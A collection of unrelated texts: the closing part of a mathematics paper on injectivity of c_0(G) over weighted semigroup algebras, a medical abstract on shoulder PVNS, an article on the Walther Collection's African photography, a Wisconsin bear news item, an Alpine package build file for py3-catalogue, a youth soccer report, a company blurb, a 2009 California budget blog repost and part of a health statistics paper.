c_0(G\times G)$. By the preceding proposition, we hence have that $I_{c_0(G)} = \phi\circ\Delta_{{\mathcal{A}}}' = \phi\circ (Q|_{c_0(G)})$. However, this implies that $\phi\circ Q:l^\infty(G)\rightarrow
c_0(G)$ is a projection onto $c_0(G)$, giving us the required contradiction.
\[sg\_not\_inj\] Let $S$ be a discrete, weakly cancellative semigroup, let $\omega$ be a weight on $S$, and let ${\mathcal{A}}=l^1(S,\omega)$. When $S$ is unital, or $S$ is cancellative, $c_0(G)$ is not a bi-injective ${\mathcal{A}}$-bimodule.
Suppose, towards a contradiction, that $c_0(G)$ is bi-injective. Then ${\mathcal{A}}$ is Connes-amenable, so that Theorem \[main\_thm\] implies that ${\mathcal{A}}$ is amenable, and that $S=G$ is a group. By Theorem \[Gron\_Thm\], we know that $\omega$ is not strongly non-amenable. Suppose that $G$ is countable, so that the above theorem shows that $c_0(G)$ is not left-injective, and that hence $c_0(G)$ is certainly not bi-injective, a contradiction.
Suppose that $G$ is not countable. Then let $H$ be some countably infinite subgroup of $G$. Let $K = \sup\{ \omega(g)\omega(g^{-1})
: g\in G \}<\infty$, and let $g,h\in G$. Then $$\Omega(g,h) = \frac{\omega(gh)}{\omega(g)\omega(h)}
= \frac{\omega(gh)}{\omega(g)\omega(g^{-1}gh)}
\geq \frac{\omega(gh)}{\omega(g)\omega(g^{-1})\omega(gh)}
= \frac{1}{\omega(g)\omega(g^{-1})} \geq K^{-1},$$ so that $\Omega$ is bounded below on $G\times G$, and hence on $H\times H$.
Then we can find $X\subseteq G$ such that $G = \bigcup_{x\in X} Hx$ and $Hx\cap Hy = \emptyset$ for distinct $x,y\in X$. Notice that if $g\in Hx$ then $g^{-1}\in x^{-1}H$, so that $G = \bigcup_{x\in X}
x^{-1}H$ as well.
By the proof of Theorem \[amen\_not\_inj\], we see that $c_0(H)$ is not a left-injective $l^1(H,\omega)$-module. Suppose, towards a contradiction, that we do have some left ${\mathcal{A}}$-module homomorphism $\phi:{\mathcal{B}}(l^1(G,\omega),c_0(G)) \rightarrow c_0(G)$ with $\phi
\Delta_{{\mathcal{A}}}' = I_{{\mathcal{A}}'}$. Notice that certainly ${\mathcal{B}}(l^1(G,\omega),c_0(G))$ and $c_0(G)$ are Banach left $l^1(H,\omega)$-modules, by restricting the action from $l^1(G,\omega)$.
Define a map $\psi : {\mathcal{B}}(l^1(H,\omega),c_0(H)) \rightarrow
{\mathcal{B}}(l^1(G,\omega),c_0(G))$ by, for $g,k\in G$, $${{\langle {\delta_g} , {\psi(T)(\delta_k)} \rangle}} =
\begin{cases} \frac{\omega(s) \omega(t)}{\omega(tx) \omega(k)} {{\langle {\delta_t} , {T(\delta_s)} \rangle}}
&: g=tx, k=x^{-1}s \text{ for some } x\in X, s,t\in H, \\
0 &: \text{otherwise.} \end{cases}$$ Certainly $\psi$ is linear, while $$\|\psi(T)\|
\leq \|T\| \sup_{s,t\in H, x\in X}
\frac{\omega(s)\omega(t)}{\omega(tx)\omega(x^{-1}s)}
\leq \|T\| \sup_{s,t\in H, x\in X}
\frac{\omega(s)\omega(t)}{\omega(txx^{-1}s)}
= \|T\| \sup_{s,t\in H} \Omega(t,s)^{-1},$$ so that $\psi$ is bounded. For $h,s,t\in H$, and $x\in X$, we have $$\begin{aligned}
&{{\langle {\delta_{tx}} , {(\delta_h\cdot\psi(T))(\delta_{x^{-1}s})} \rangle}}
= \Omega(x^{-1}s,h) {{\langle {\delta_{tx}} , {\psi(T)(\delta_{x^{-1}sh})} \rangle}} \\
&= \frac{\Omega(x^{-1}s,h) \omega(sh) \omega(t)}{\omega(tx)
\omega(x^{-1}sh)} {{\langle {\delta_t} , {T(\delta_s)} \rangle}}
= \frac{\omega(sh) \omega(t)}{\omega(x^{-1}s) \omega(h) \omega(tx)}
{{\langle {\delta_t} , {T(\delta_s)} \rangle}} \\
&= \omega(s) \omega(x^{-1}s)^{-1} \omega(t) \omega(tx)^{-1}
{{\langle {\delta_t} , {(\delta_h\cdot T)(\delta_s)} \rangle}}
= {{\langle {\delta_{tx}} , {\psi(\delta_h\cdot T)(\delta_{x^{-1}s})} \rangle}}.\end{aligned}$$ Thus $\psi$ is a left $l^1(H,\omega)$-module homomorphism. For $h,s,t\in H$ and $x\in X$, we then have that $$\begin{aligned}
{{\langle {\delta_{tx}} , {\psi(\Delta'_{l^1(H,\omega)}(e_h))(\delta_{x^{-1}s})} \rangle}}
&= \frac{\omega(t) \omega(s)}{\omega(x^{-1}s) \omega(tx)}
{{\langle {\delta_t} , {\delta_s\cdot e_h} \rangle}}
= \Omega(tx,x^{-1}s) \delta_{ts,h} \\
&= {{\langle {\delta_{tx}} , {\delta_{x^{-1}s} \cdot e_h} \rangle}}
= {{\langle {\delta_{tx}} , {\Delta'_{{\mathcal{A}}}(e_h)(\delta_{x^{-1}s})} \rangle}}.\end{aligned}$$ If $g,k\in G$ are such that $gk\not\in H$ then $g=tx$ and $k=y^{-1}s$ for some $s,t\in H$ and distinct $x,y\in X$. Then, for $h\in H$, we have that $gk\not=h$, so that $${{\langle {\delta_g} , {\Delta'_{{\mathcal{A}}}(e_h)(\delta_k)} \rangle}}
= \Omega(g,k) \delta_{gk,h}
= 0 = {{\langle {\delta_g} , {\psi(\Delta'_{l^1(H,\omega)}(e_h))(\delta_k)} \rangle}}.$$ Hence $\psi\circ \Delta'_{l^1(H,\omega)}$ is equal to $\Delta'_{{\mathcal{A}}}$ restricted to $l^1(H,\omega)$.
Let $P : c_0(G) \rightarrow c_0(H)$ be the natural projection, which is obviously an $l^1(H,\omega)$-module homomorphism. Then $Q = P \circ \phi \circ \psi : {\mathcal{B}}( l^1(H,\omega), c_0(H) )
\rightarrow c_0(H)$ is a bounded left $l^1(H,\omega)$-module homomorphism, and $Q \circ \Delta'_{l^1(H,\omega)} = I_{c_o(H)}$. This contradiction completes the proof.
We note that just because $\Omega$ is bounded below does not imply that $\omega$ is bounded, so that $l^1(G,\omega)$ is not necessarily isomorphic to $l^1(G)$, and hence we cannot simply apply the results of [@DP].
We have not been able to establish if $c_0(S)$ can every be a left-injective $l^1(S,\omega)$-module for some semigroup $S$ and weight $\omega$.
Open questions
==============
We state a few open questions of interest:
1. Let ${\mathcal{A}}$ be an Arens regular Banach algebra such that ${\mathcal{A}}''$ is Connes-amenable. Need ${\mathcal{A}}$ be amenable?
2. This is true for C$^*$-algebras. Can we find a “simple” proof?
3. Let ${\mathcal{A}}$ be a dual Banach algebra with predual ${\mathcal{A}}_*$, and suppose that ${\mathcal{A}}_*$ is bi-injective. If ${\mathcal{A}}$ necessarily a von Neumann algebra or the bidual of an Arens regular Banach algebra ${\mathcal{B}}$ such that ${\mathcal{B}}$ is an ideal in ${\mathcal{A}}$?
4. Let $S$ be a (weakly cancellative) semigroup, and let $\omega$ be a weight on $S$. Classify (up to isomorphism) the preduals of $l^1(S,\omega)$, and calculate which preduals yield a Connes-amenable Banach algebra.
5. This question was asked by Niels Gr[ø]{}nbæk. In most of our examples, it is obvious that when ${\mathcal{A}}$ is a Connes-amenable dual Banach algebra, there is ${\mathcal{B}}\subseteq{\mathcal{A}}$ which is weak$^*$-dense and amenable. Is this always true?
[9]{}
[<span style="font-variant:small-caps;">I.G. Craw, N.J. Young</span>, ‘Regularity of multiplication in weighted group and semigroup algebras’, *Quart. J. Math. Oxford* 25 (1974) 351–358.]{}
[<span style="font-variant:small-caps;">H.G. Dales</span>, *Banach algebras and automatic continuity*, (Clarendon Press, Oxford, 2000).]{}
[<span style="font-variant:small-caps;">H.G. Dales, A.T.-M. Lau</span>, ‘The second dual of Beurling algebras’, preprint.]{}
[<span style="font-variant:small-caps;">H.G. Dales, M.E. Polyakov</span>, ‘Homological properties of modules over group algebras’, *Proc. Lon. Math. Soc.* 89 (2004) 390–426.]{}
[<span style="font-variant:small-caps;">N. Gr[ø]{}nbæk</span>, ‘Amenability of weighted discrete convolution algebras on cancellative semigroups’, *Proc. Roy. Soc. Edinburgh Sect. A* 110 (1988) 351–360.]{}
[<span style="font-variant:small-caps;">N. Gr[ø]{}nbæk</span>, ‘Amenability of discrete convolution algebras, the commutative case’, *Pacific J. Math.* 143 (1990) 243–249.]{}
[<span style="font-variant:small-caps;">A.Ya. Helemskii</span>, ‘Homological essence of amenability in the sense of A. Connes: the injectivity of the predual bimodule.’, *Math. USSR-Sb.* 68 (1991) 555–566.]{}
[<span style="font-variant:small-caps;">A.Ya. Helemskii</span>, *Banach and locally convex algberas*, (Oxford Science Publications, New York, 1993).]{}
[<span style="font-variant:small-caps;">A.Ya. Helemskii</span>, ‘Some aspects of topological homology since 1995: a survey’, *‘Banach algebras and their applications’ in Contemp. Math.* 363 (2004) 145–179.]{}
[<span style="font-variant:small-caps;">V. Runde</span>, ‘Dual Banach algebras: Connes-amenability, normal, virtual diagonals, and injectivity of the predual bimodule’, *Math. Scand.* 95 (2004) 124–144.]{}
[<span style="font-variant:small-caps;">V. Runde</span>, ‘Connes-amenability and normal, virtual diagonals for measure algebras. I.’, *J. London Math. Soc.* 67 (2003) 643–656.]{}
[<span style="font-variant:small-caps;">V. Runde</span>, ‘Connes-amenability and normal, virtual diagonals for measure algebras, II’, *Bull. Austral. Math. Soc.* 68 (2003) 325–328.]{}
[<span style="font-variant:small-caps;">V. Runde</span>, *Lectures on amenability*, (Springer-Verlag, Berlin, 2002).]{}
[<span style="font-variant:small-caps;">V. Runde</span>, ‘Amenability for dual Banach algebras’, *Studia Math.* 148 (2001) 47–66.]{}
[<span style="font-variant:small-caps;">S.B. Tabaldyev</span>, ‘Noninjectivity of the predual bimodule of the measure algebra of infinite discrete groups.’, *Math. Notes* 73 (2003) 690–696.]{}
St. John’s College,\
Oxford\
OX1 3JP\
United Kingdom
`matt.daws@cantab.net`
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}
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Arthroscopic treatment of pigmented villonodular synovitis of the shoulder.
Pigmented villonodular synovitis (PVNS) rarely affects the shoulder. Fewer than 30 cases have been reported in the English and French language literature. In those patients, PVNS was treated by open surgery involving total or local synovectomy, sometimes associated with total shoulder replacement, cuff tear repair, or arthroplastic head resection. The authors report 2 cases of PVNS of the shoulder treated arthroscopically and discuss the advantages and limitations of this technique in the treatment of shoulder PVNS.
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The Walther Collection and the African Photographers
14.09.2018 – 11 am
The Walther Collection is presently one of the main art foundations dedicated to the critical understanding and study of historical and contemporary photography, as well as related media. Nowadays, in addition to its relevant collection, the main activities undertaken by the entity relate with in-depth research on the current production, scholarly publications about the theme, and extensive itinerant exhibitions throughout the globe.
African photography and videoart have always been the focus of the of the collection of German-born Artur Walther.“I made many trips to Asia and Africa, visiting artists wherever they were: galleries, independent curators, museums, scholars, dealers, writers, and exhibition spaces. My method of collecting is very personal,” says Walther. The collector highlights that, from the 2000s, African artists, particularly those from rapidly growing cities, became concerned with postcolonial matters of identity, gender, and social change.
In 2004, Walther embarked on an extensive travel program throughout the African continent with curator Okwui Enwezor. The initiative resulted in a series of major exhibitions and publications including its inaugural project in 2010, “Events of the Self: Portraiture and Social Identity”, at the collection headquarters in Neu-Ulm, Germany. It gathered works by three generations of African artists, cutting across colonial and postcolonial stories. The exhibition considered the changing roles of portraiture and the manifold ways artists see themselves during times of social transition, from the early 20th century to the present.
Two more exhibitions on African photography followed in quick succession. “Appropriated Landscapes” (2011) presented the idea of landscape in its broadest terms, examining how architecture and spatial planning conveyed the social order and ideology of the apartheid in South Africa. Not regarded in terms of its sublime or picturesque qualities, landscape acted rather as a prism reflecting the experiences of migration, colonialism, war, and industrialization. “Distance and Desire: Encounters with the African Archive” (2013), on the other hand, explored historical photography from Southern Africa, with archival images by African artists. The exhibition offered new perspectives on the legacy of anthropological and ethnographic visions of Africans – reimagining the poetic and political dimensions of the archive, its diverse histories, and its changing meanings.
Likewise, since the opening of the collection’s New York Project Space in 2011, fourteen exhibitions focused entirely on African photography and video art have been presented there. The program has included monographic presentations featuring the work of artists such as Rotimi Fani-Kayode, Samuel Fosso, Santu Mofokeng, and Jo Ractliffe; comparative exhibitions presenting the work of photographers such as Seydou Keïta and August Sander; and investigations on vernacular photography, including images from the Gulu Real Art Studio in Uganda and the Singarum Jeevaruthnam “Kitty” Moodley Studio in apartheid-era South Africa.
The large-scale exhibition of 2017 in Neu-Ulm, “Recent Histories: Contemporary African Photography and Video Art”, brought The Walther Collection’s extensive exploration of African photography and video art up to the very present. The exhibition featured the work of fourteen contemporary artists of African descent, born in the early 1970s and later, whose researches approach social identity, questions of belonging, and an array of sociopolitical concerns – including migration, lineage, and the legacies of colonialism –, as well as personal experiences.
“I want to learn to know the artists, understand the context of their work and return time and again to follow the development of their oeuvres and collect them in depth. It was a difficult step to move beyond what is familiar to me. I struggled with each individual picture, because it was something completely new and foreign. I had to get out of myself and my preconceptions, borders, and limits. My exciting senses and emotions did not work in those cultures,” the collector concludes.
This piece was first published at the second edition of SP-Arte Magazine, in August, 2018.
_
Artur Walther is a German art collector. He has given a lecture about his collection at SP-Arte/Foto/2017.
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A black bear "walking around and interacting with traffic" was captured and taken to an animal rehabilitation center in Wisconsin, the Lincoln County Sheriff's Department said Monday.
The incident happened Friday on state Highway 17 north of Gleason and led to several 911 calls because of its unusual behavior, the agency reported.
Glen Saal saw the whole thing happen from his truck.
"I made some noise and clapped my hands and tried to scare him off the road but he turned around and came running toward me," Saal said. "I've never seen anything like this with a bear."
A Wisconsin State Patrol trooper witnessed the male bear at times standing on his legs and peering into passing cars.
Wild Instincts secured the bear, indicating it was about two years old, weighed 90 pounds and could have been displaced by a variety of things such as hunters, snowmobilers, loggers or just the warm temperatures, the sheriff's department said.
Mark Naniot of Wild Instincts said the bear is currently in an enclosure at the facility.
"It obviously is very used to people," Naniot said. "This bear is confused about what it's supposed to do, where it's supposed to be and ends up paying the price from it."
The bear will be allowed to hibernate for the rest of the winter at Wild Instincts and in the spring experts will evaluate it to make sure a medical condition did not cause its strange behavior, the sheriff's department said in a statement.
Naniot said that if they can't find the bear a permanent home, they will be forced to euthanize it.
He adds that it's too much of a danger for humans to release it back into the wild.
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# Contributor: Oleg Titov <oleg.titov@gmail.com>
# Maintainer: Oleg Titov <oleg.titov@gmail.com>
pkgname=py3-catalogue
pkgver=2.0.1
pkgrel=0
pkgdesc="Super lightweight function registries for your library"
url="https://github.com/explosion/catalogue"
arch="noarch"
license="MIT"
depends="py3-importlib-metadata"
makedepends="py3-setuptools"
checkdepends="py3-pytest"
subpackages="$pkgname-doc"
source="$pkgname-$pkgver.tar.gz::https://github.com/explosion/catalogue/archive/v$pkgver.tar.gz"
builddir=$srcdir/catalogue-$pkgver
build() {
python3 setup.py build
}
check() {
pytest-3 catalogue/tests/test_catalogue.py
}
package() {
python3 setup.py install --prefix=/usr --root="$pkgdir"
install -Dm644 README.md "$pkgdir/usr/share/doc/$pkgname/README.md"
}
sha512sums="a0fd0dcccbd8dfa2662b058882118c73b5d1afbbadda9a03d21212b7c75dc79d78432d31a1922523491aad092af20463ce1bbfb3cd286d95bab367cb2f67ed55 py3-catalogue-2.0.1.tar.gz"
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"pile_set_name": "Github"
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Young Reds undone by Comets
The Adelaide United Youth Team fell to a 3-0 loss against Adelaide Comets in Round 8 of the National Premier League at the Elite Systems Football Centre on Saturday afternoon.
Back on home turf after three weeks, the Adelaide United Youth Team gave it their all, but despite their efforts, were unable to capitalise on the many chances that were created by Riley McGree, Johnny Koutroumbis and Alec Maiolo respectively.
In the end it was the Comets who had shot three past Reds’ goalkeeper, Daniel Margush, much to United’s misfortune.
The Young Reds were off to a strong start to the match, their passes precise which leaded to early signs of their continuous attack throughout the 90 minutes. Captain, Dylan Smith, was the first to create a chance as his ball was sent to Alec Maiolo on the run up forward and it was then McGree who had his sight set on goal, both chances denied of any reward.
United brought their attacking to its full extent, when Tommy Stokes produced a good play as he crossed the ball in to find another red shirt, but was unable.
In the 9th minute, it was then Koutroumbis with a long chip shot that headed toward goal which ended up in the hands of Comets goal keeper, Alexander Woodlands. One minute later and Comets converted their first through a well-taken Christopher Pepe strike.
The Young Reds were not disheartened though, McGree looking to link up with Jordan O’Doherty going forward on numerous occasions. Samed Altundag managed to fashion a chance in the 16th minute, but his effort went straight to the ‘keeper.
Several more chances were created as the Reds showed great movement on the ball and kept possession well, their defence were worked but remained solid to keep the score line at 1-0. As soon as the Reds looked close to finding an equaliser, Apostolos Stamatelopoulos smashed a second goal for the Comets four minutes before half-time.
As play resumed, it was much of the same by Adelaide United, Margush mading some brilliant saves, while Clifford Maina and Paul Wilson worked strong defensively to keep their team in the game for some time.
The 72nd minute saw Jack Bladen with space and an open goal, finalising the game’s score at 3-0 for a Comets win, but the Young Reds fight did not stop until the last whistle blew.
After the match, Youth Team Head Coach, Mark Jones, said he was disappointed that his team didn’t take out the win as they proved more dominant, and that the goals conceded could have easily been stopped, but has not lost faith in his side.
“We got in behind the Comets a lot more and were more dangerous positions and didn’t score, when we should have.
“In the second half, we had all the play and had many opportunities that could have won us the game.
“The boys to keep their belief in themselves and not get down, we were still great defensively and the score didn’t blow out in the end.
“We played decent football and passed the ball around well, we did have senior players out but the squad today still showed that dominance against a good team.
“Next game against the Raiders we will look to continue this football, but make sure we are rewarded for our hard work.”
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About Us
GovDesigns was established in 2014 to provide affordable website design and hosting to Education and Municipalities. Over the last few years, by customer request, we have expanded our services to network cabling, security camera sales and installation, wireless access point installations, IDF/MDF cabinet installations, server room cable management and much more!
GovDesigns has a range of experience in various technology solutions. Our Specialists are able to identify the best solutions suitable for your project all at a budget friendly price.
“We see ourselves as a forward looking group of passionate technology professionals with the relevant experience to match.”
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We pride ourselves on attention to detail for all projects. Whether it involves a mobile responsive website with Web Accessibility features, or labeling and providing reports on all new network cable runs, we make sure nothing is left out.
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This site is dedicated to keeping shiit real. No we're not going to sugarcoat, bite our tongues, or hold shiit back. If you don't like what goes on on this site I recommend you click the X and kick rocks. We're here to enlighten, entertain, and express our opinions on what's really going on in the world and help those other conscious folks. Remember when the shiit hits the fan, there's no turning back!!
Thursday, June 4, 2009
Is Cali Going Broke?
California could be broke by July, state official warnsRich Pedroncelli / Associated PressIn this 2008 photo, Legislative Analyst Mac Taylor answers questions during a news conference in Sacramento, Calif.Despite the budget fix enacted in February, the state is on track to come up $23 billion short of what it needs to get through the year, the Legislature's chief budget analyst says.By Evan Halper and Eric Bailey10:26 PM PDT, May 7, 2009Reporting from Sacramento -- California could run out of money as soon as July, the Legislature's chief budget analyst warned Thursday, as a new poll showed voters poised to reject five budget-related measures on the May 19 ballot.
If the propositions do not pass, the state could find itself as much as $23 billion short of the money it needs to pay its bills over the next year, according to a new forecast by Legislative Analyst Mac Taylor. The poll, from the Public Policy Institute of California, found that even as voter interest in the ballot measures rises, all are trailing except the sixth one -- Proposition 1F, which would bar pay hikes for lawmakers in deficit years.
The other measures would provide the state with as much as $6 billion in the coming year through borrowing against the California State Lottery and temporarily reducing some social services.
One proposition, 1A, which barely one in three likely voters supports, the poll shows, would extend recently enacted tax hikes until 2013, plumping state coffers by another $16 billion.
All of the proposals were placed on the ballot by the governor and lawmakers as part of a February budget agreement. That plan was intended to keep the state solvent well into next year, but it was quickly knocked out of balance by the deteriorating economy.
Adding to the fiscal woes, the Obama administration is threatening to pull $6.8 billion in stimulus funds from California in a dispute over an earlier state budget cut.
"The Legislature is going to need to act promptly," said state Department of Finance spokesman H.D. Palmer. "We have a fairly short window to get a lot done."
As the ballot measures lag in the polls, the administration of Gov. Arnold Schwarzenegger has begun revealing the cuts it is weighing as an alternative.
On Thursday, the administration advised law enforcement officials that it was preparing plans to commute the sentences of 38,000 state prison inmates, including all illegal immigrants. It also is considering closing some prisons and sending inmates to county jails, according to a copy of the proposal obtained by The Times.
Under the plan, 19,000 illegal immigrants -- 11% of state prisoners -- would be turned over to the U.S. Immigration and Customs Enforcement Agency after having their sentences commuted. An additional 19,000 "relatively low-risk offenders" would have their sentences commuted as well.
Earlier in the week, the administration warned local officials that it may raid their budgets for $2 billion and close firehouses.
Opponents of the ballot measures call such proposals scare tactics.
"It's all about fear," said Jon Coupal, president of the Howard Jarvis Taxpayers Assn. "This week it's firefighters; next week they'll threaten school closures."
Even if the measures succeed, Taylor said, the state faces serious and immediate financial problems. California's credit rating is so weak that the state is unlikely to be able to borrow money to buy time to address them, he wrote. Lenders have signaled to California that they may not be able to make loans on the scale the state would need.
"Without additional legislative measures to address the state's fiscal difficulties or unprecedented amounts of borrowing from short-term credit markets, the state will not be able to pay many of its bills," Taylor wrote.
He cautioned lawmakers against asking the federal government to help the state secure loans that might provide relief. "The difficult decisions to balance the state's budget now are preferable to Californians losing some control over the state's finances and priorities to federal officials for years to come," Taylor wrote.
The debate over what budget actions to take is expected to intensify once Schwarzenegger issues a revised spending plan later this month.
The unpopularity of the ballot measures appears to reflect intense voter distrust of Sacramento. Just 16% of likely voters say they trust the state government to do the right thing. Schwarzenegger's approval rating remains at a near-historic low, 34%. The state Legislature's, meanwhile, stands at an anemic 12%.
"The voters seem interested in delivering a message," said Mark Baldassare, Public Policy Institute of California president and survey director. "The measures are very complex and confusing to voters -- and they don't seem to have trust in what the governor and Legislature have put before them."
Just 28% of likely voters say they are following news about the ballot measures very closely, although that number is up from 18% in March. Those voters are focusing most of their attention on Proposition 1A.
That measure would place strict limits on future state spending and boost the size of the state's reserves, in addition to extending the recent tax hikes. But only 35% of likely voters say they'll back it.
This is the second time in recent years that spending restraints are coming before voters.
Californians rejected the "Live Within Our Means Act" that Schwarzenegger championed in the 2005 special election he called. Meanwhile, only 40% back Proposition 1B, the measure supported by the California Teachers Assn. that would require $9.3 billion in funding for education over the next half-dozen years. It would take effect only if 1A also passed.
The proposal that promises to provide the state with the most financial help, Proposition 1C, is faring worse than the others. It would allow officials to borrow $5 billion against a revamped state lottery. Only 32% of likely voters say they support it.
Proposition 1D, an effort to divert $1.7 billion over the next five years from a voter-approved childhood development program, is running neck-and-neck among likely voters, with the backing of 43%.
A plan to shift $460 million for two years from a voter-approved mental health program also has some support, but it is still trailing. Of the likely voters polled, 41% said they favor Proposition 1E; 48% oppose it.
The only measure that voters back widely would do little to help the state budget -- but it would send a clear message to Sacramento. The poll found that 73% plan to vote for Proposition 1F, which would freeze the salaries of lawmakers in deficit years.
|
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This is the second in a **Series** of four articles about health statistics
Health statistics, often viewed as a dry, dull necessity, are at the centre of several worldwide health controversies. Five factors are fuelling the tension between the supply and demand for high quality health information. First, the need for greater accountability and transparency from governments and international agencies is increasing the demand. Civil society groups, the donor community, scientists, and the public want to benchmark progress and performance of public health and medicine. An important example of this tendency is the emphasis on monitoring, including the health-related Millennium Development Goals (MDGs)[@bib1], [@bib2] and the creation of the Healthcare Commission in the UK to independently monitor the National Health Service (NHS).[@bib3]
Second, the media, civil society, and the general public are more sceptical about both statistical and scientific claims.[@bib4] An example is the public dismay about the confusing messages on fat in the diet over the past two decades.[@bib5] Evidence of government manipulation of data during the severe acute respiratory syndrome (SARS) epidemic added to the decline in trust.[@bib6] Third, many representatives of the technical and scientific community and the general public are becoming increasingly sophisticated consumers of information. The scope of relevant information is expanding from simple descriptive epidemiology about health to dimensions of public health and medicine such as quality, efficiency, and equity. Consumers often need more detail including quantification of uncertainty. Increased communication and access to different views through the internet are driving scepticism and sophistication, which in turn adds to the broad demand for transparency and accountability.
Fourth, as outlined in the first paper in this series,[@bib7] leaders of various global-health programmes including WHO, many public-private global health initiatives such as the Global Fund to fight AIDS, Tuberculosis, and Malaria, and other development agencies, feel the imperative to produce more information on their programmes and the outcomes of their investments for public consumption. Yearly reports, websites, and other publications are regarded as necessary for sustaining political and financial support for their programmes, and for maintaining political priority with governments in developing countries. One result of this response has been an explosion of proposed indicators that should be measured. For example, the Drug Action Programme at WHO has 98 indicators for monitoring structure, process, and outcome[@bib8] and the HIV department has 35 indicators.[@bib9], [@bib10] An internal review presented to the WHO Director General in 2002 found that WHO recommended 3500 indicators covering all programme areas of the organisation. For most of these indicators, no measurement strategy has been proposed and no measurements have been produced.
Fifth, as demand for health information grows, primary data collection platforms in most developing countries are not rapidly improving.[@bib7] However, the information technology revolution has not yet had a major effect on platforms for primary data collection in health systems in most developing countries.[@bib11]
In this paper, I explore good practice for health statistics from a worldwide and national perspective. Although there are many dimensions to improvement of health statistics, I concentrate on three issues that are central to fostering good practice in the use of health statistics: focusing on priority indicators; correct use of crude, corrected, or predicted statistics; and the need for explicit data audit trails. Taken together, addressing these issues would catalyse better worldwide health statistics practice and stimulate increased national interest in strengthening fundamental data platforms. I believe that increased focus on the production, analysis, and dissemination of priority health indicators will create demand for valid, reliable, and comparable health information, which will stimulate national efforts to strengthen platforms for primary data collection. I do not discuss in detail the interventions that might be necessary to strengthen such platforms. The MDG health-related indicators are used throughout the paper to draw attention to the difficulties with present indicators in terms of conceptualisation, implementation, and measurement. Although the MDG health-related indicators have been developed for high-level policy use, they represent the issues that generally apply to priority health indicators. Technical terms used in this paper are explained in the [panel](#box1){ref-type="boxed-text"} .PanelDefinitions of technical terms**Indicator**A variable measured to monitor progress or assess what works and what does not.**Validity**Validity refers to the extent to which a measurement is capturing what it is intended to measure. There are different types of validity such as face validity, content validity, criterion validity (denoting predictive validity and concurrent validity), and construct validity (denoting convergent and discriminant validity).**Reliability**Reliability refers to the repeatability or consistency of a set of measurements or measuring instrument; for example, test-retest reliability where a test and a retest are compared.**Comparability**Measurements are comparable if the same value means the same thing in the settings being compared. Two thermometers, one in Farenheit and one in Celsius, can both be valid and reliable but they do not give comparable results.**Out-of-sample**Prediction about ranges of values that are not in the investigator\'s sample (ie, that the investigator\'s data set does not cover).**Out-of-time**Prediction about individuals, populations, etc, in time outside the time range of the investigator\'s sample.**Forecasting**Forecasting is the process of estimation in unknown situations. Predicting is a more general term and connotes estimating for any time series, cross-sectional, or longitudinal data. Forecasting is commonly used when discussing time series data.**Farcasting**Farcasting is trying to predict the value of a variable in a place that may be far away but is not a future value.**Prior**The prior is a reflection of some information the investigator has before the observations in the data set (the investigator should state explicitly how the information on the prior was obtained). The prior is the sum of what is known about the relationship under study.
Focusing on priority indicators {#cesec10}
===============================
With thousands of indicators recommended but few measured well, the worldwide health community needs to focus its efforts on improving measurement of a small set of priority areas. Prioritisation of indicators is important for two reasons. The first is cost. Human resources in the measurement field are extremely scarce, both nationally and internationally. The second is visibility. Indicators drive policy attention and resources nationally and locally. This inevitable dynamic means that health problems with priority indicators will receive more attention than those that are not measured or not measured as well. Prioritisation requires several questions to be answered.
What is the proposed indicator intended to measure? {#cesec20}
---------------------------------------------------
Indicators can be classified into six categories on the basis of what it is they measure: health outcomes, risk factors, intervention coverage, structure, process, and non-health-related results. All these types of indicators have important uses in different contexts. Part of the challenge in assessment of indicators is to understand at what level they will be used. At the highest level, such as the MDG indicators, the audience is extremely broad including the technical community, governments, and the general public.
What is the public-health significance of the indicator? {#cesec30}
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Public-health importance is probably greatest for indicators of health outcomes, intervention coverage, and perhaps risk factors. Many health outcomes are of public-health importance, but because health problems are changing with new challenges, such as the epidemic of non-communicable diseases in developing countries and emergence of pandemic influenza, assessment of public-health significance must be regularly revisited. Coverage of interventions is also important because only through the delivery of effective interventions to those in need can health outcomes be improved. Finally, risk factors, such as tobacco consumption, can be so strongly linked to health outcomes that they are effectively measures of future health outcomes in themselves. Not all outcomes or all intervention-coverage indicators will meet a public-health importance criterion.
[Table 1](#tbl1){ref-type="table"} provides my assessment of the public-health importance of every health-related MDG indicator including official supplemental indicators. The analysis in [table 1](#tbl1){ref-type="table"}, including data availability for each indicator, is strictly based on the official UN MDG website;[@bib12] there could well be other surveys and analyses that are not used for MDG monitoring. The 45 indicators in the table could probably be decreased to 16 that have high public-health importance and contribute unique information. For example, for a set of priority indicators, overall coverage of clean water is probably enough instead of urban and rural breakdowns. Arguably, urban and rural breakdowns do not provide a deep insight into differences in clean water inequalities across countries. A more useful indicator for this comparison might be the amount of clean water coverage in the bottom wealth quintile.Table 1MDG health-related indicators (number and name) reported to the General Assembly and officially reported supplemental series**Type of indicatorPublic-health importance of the indicatorMeasurement strategyData availabilityPredominant type of statistic**1990200020031990--20054. Prevalence of underweight children under 5 years of age4a. Children under 5 moderately or severely underweight, percentage[\*](#tbl1fn1){ref-type="table-fn"}Risk factorHighHousehold surveys with anthropometric measurements with some inconsistency of age groups measured8%31%5%8%Corrected4b. Children under 5 severely underweight, percentageRisk factorAdds little value to 4aHousehold surveys with anthropometric measurements, some inconsistency of age groups measured0%29%3%5%Corrected5. Proportion of population below minimum level of dietary energy consumption5a. Undernourished as percentage of total population[\*](#tbl1fn1){ref-type="table-fn"}Risk factorLow; adds little to prevalence of underweightDetails are not available0%0%0%13%Predicted5b. Undernourished, number of peopleRisk factorLow; same information content as 5aDetails are not available0%0%0%13%Predicted13. Under-5 mortality rate[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeHighVital registration in countries with complete systems, complete birth histories, or children ever born and children surviving questions on household surveys98%100%98%25%Corrected and predicted14. Infant mortality rate[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeLow; redundant, correlation coefficient with under-5 mortality rate in 2000 is 0·99Vital registration in countries with complete systems, complete birth histories, or children ever born and children surviving questions on household surveys99%100%100%26%Corrected and predicted15. Proportion of 1 year-old children immunised against measles[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageMedium/low; represents less than 10% of the intervention package for child survivalHealth service provider registries in the public sector, household surveys84%98%98%83%Crude and corrected16. Maternal mortality ratio[\*](#tbl1fn1){ref-type="table-fn"}Health outcomeHighVital registration in countries with complete systems, sibling histories collected in household surveys82%100%0%17%Predicted17. Proportion of births attended by skilled health personnel[\*](#tbl1fn1){ref-type="table-fn"}Intervention coverageHigh; but not the only intervention needed to reduce maternal mortalityHousehold surveys, definition of skilled varies across countries0%34%7%6%Corrected18. HIV prevalence among pregnant women aged 15--24 years18a. AIDS estimated deathsHealth outcomeHighVital registration in countries with complete systems, modeling of 